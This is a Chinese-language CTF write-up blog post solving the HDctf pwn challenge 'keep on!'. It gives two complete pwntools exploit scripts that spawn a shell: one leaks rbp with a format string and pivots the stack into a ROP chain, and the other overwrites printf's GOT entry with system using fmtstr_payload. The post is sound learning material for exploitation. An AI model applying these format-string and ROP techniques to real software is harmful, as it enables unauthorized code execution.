编辑
2023-04-25
pwn
00
请注意,本文编写于 638 天前,最后修改于 631 天前,其中某些信息可能已经过时。

目录

HDctf;keep on!
做法一
栈迁移
exp
做法二
exp

HDctf;keep on!

例行检查:

image-20230424195216306

确定是64位动态链接文件并且只开启了NX保护。

ida查看: image-20230424195319904

这里有两次read输入,但是第一次限制字符长度为0x48,小于s的栈空间0x50。所以这里肯定无法进行栈溢出。

那我们再看下一个read,发现这一个虽然可以进行溢出但是仅仅只能溢出0x10字节长度的数据,那么长rop链必然是无法构造了。

那我第一想法就是栈迁移。大致原理在之前一篇wp中写过。

做法一

栈迁移

要进行栈迁移我们就必须要得到pre-rbp的地址

这里就得用GDB动态调试一波:

image-20230424201046804

这里就可以计算出rbp知道rbp的位置,于是乎就可以泄露rbp的地址。

python
io.send(b'%16$p') io.recvuntil(b'hello') pre_rbp = int(io.recv(12),16)

这里pre_rbp = int(io.recv(12),16)不可以用u64()那一个语句,因为这里我们接收的其实就是一段16进制数据而并不是一串字符序列。

有了rbp的地址我们还得计算主调函数与被调函数rbp的偏移,因为被调函数的rbp中放的是主调函数的地址,所以还得再调试一波;

image-20230424202158235

从这里不难看出offset为0x10

根据ida可以知道栈空间为0x50,所以可以算出我们新栈帧的栈顶应该在pre_rbp-0x60的位置上

exp

python
from pwn import* context(log_level = 'debug',arch='amd64',os = 'linux') #io =remote('node4.anna.nssctf.cn',28324) io = process('/home/hyrink/ctftest/pre-save/hdctf') elf = ELF('/home/hyrink/ctftest/pre-save/hdctf') io.recv() io.send(b'%16$p') io.recvuntil(b'hello') pre_rbp = int(io.recv(12),16) leave_ret = 0x04007f2 #泄露ebp地址 print(hex(pre_rbp)) #发送攻击脚本 new_rbp = pre_rbp-0x60 ret = 0x04005b9 system = 0x04005E0 pop_rdi = 0x04008d3 io.recv() payload = (b'a'*(0x8)+p64(pop_rdi)+p64(pre_rbp - 0x40)+p64(system)+b'/bin/sh').ljust(0x50,b'\x00')+p64(new_rbp)+p64(leave_ret) io.sendline(payload) io.interactive()

这道题其实想了挺久的,果然菜是原罪。(悲


做法二

做法二其实是我看dalao们的writeup才知道的,也是属于格式化字符串的利用,只不过我们不再需要栈迁移,而是直接劫持printf_got地址。

这里先介绍一个pwntools中提供的一个方法:fmtstr_payload()

pwnlib.fmtstr.``fmtstr_payload(偏移量, 写入numbwrite=0write_size='byte') → str[来源]

使用给定参数生成有效负载。 它可以生成 32 位或 64 位架构的有效负载。 地址的大小取自context.bits

溢出参数是格式字符串长度到输出量的权衡: 的值越大,生成的格式字符串越短,这些字符串在运行时生成更多的输出。overflows

参数:偏移量 (INT) – 您控制的第一个格式化程序的偏移量写入字典) – 带有地址的字典,值{addr: value, addr2: value2}numbwriteint) – printf 函数已经写入的字节数write_sizestr) – 必须是 或 。告诉您是要逐字节写入、短按短写还是按整数写入(hhn、hn 或 n)byte``short``int溢出INT) – 允许多少额外溢出(大小为 sz)以减少格式字符串的长度策略str) – “快速”或“小”(默认为“小”,如果有很多写入,则可以使用“快速”)
返回:有效负载,以便执行所需的写入

参考:

[pwnlib](pwnlib.fmtstr — 格式化字符串错误开发工具 — pwntools 4.8.0 文档)

所以这里我们可以利用这一个方法直接劫持printf_got表地址,修改为system的plt地址(前提是程序中有system函数)

python
from pwn import* context(log_level='debug',arch='amd64',os='linux') io = remote('node4.anna.nssctf.cn',28413) #io = process('/home/hyrink/ctftest/pre-save/hdctf') elf = ELF('/home/hyrink/ctftest/pre-save/hdctf') printf_got = elf.got['printf'] system = elf.plt['system'] vuln = elf.symbols['vuln'] payload = fmtstr_payload(6,{printf_got:system})

然后直接在第二次溢出点返回vuln函数再次执printf函数(实际为system):

所以接下来只需要输入/bin/sh即可

python
io.send(payload) payload = b'a'*(0x50+8)+p64(vuln) #io.recvuntil(b'keep on !\n') io.send(payload) io.recvuntil(b'name: \n') io.send(b'/bin/sh\x00') io.interactive()

exp

python
from pwn import* context(log_level='debug',arch='amd64',os='linux') io = remote('node4.anna.nssctf.cn',28413) #io = process('/home/hyrink/ctftest/pre-save/hdctf') elf = ELF('/home/hyrink/ctftest/pre-save/hdctf') printf_got = elf.got['printf'] system = elf.plt['system'] vuln = elf.symbols['vuln'] payload = fmtstr_payload(6,{printf_got:system}) io.send(payload) payload = b'a'*(0x50+8)+p64(vuln) #io.recvuntil(b'keep on !\n') io.send(payload) io.recvuntil(b'name: \n') io.send(b'/bin/sh\x00') io.interactive()

flag:

image-20230424211051485

作者新手一枚,文章如有错误还请多多包涵。如果各位Dalao能够指出错误,那就再好不过了,红豆泥私密马赛!

如果对你有用的话,可以打赏哦
打赏
ali pay
wechat pay

本文作者:Hyrink

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!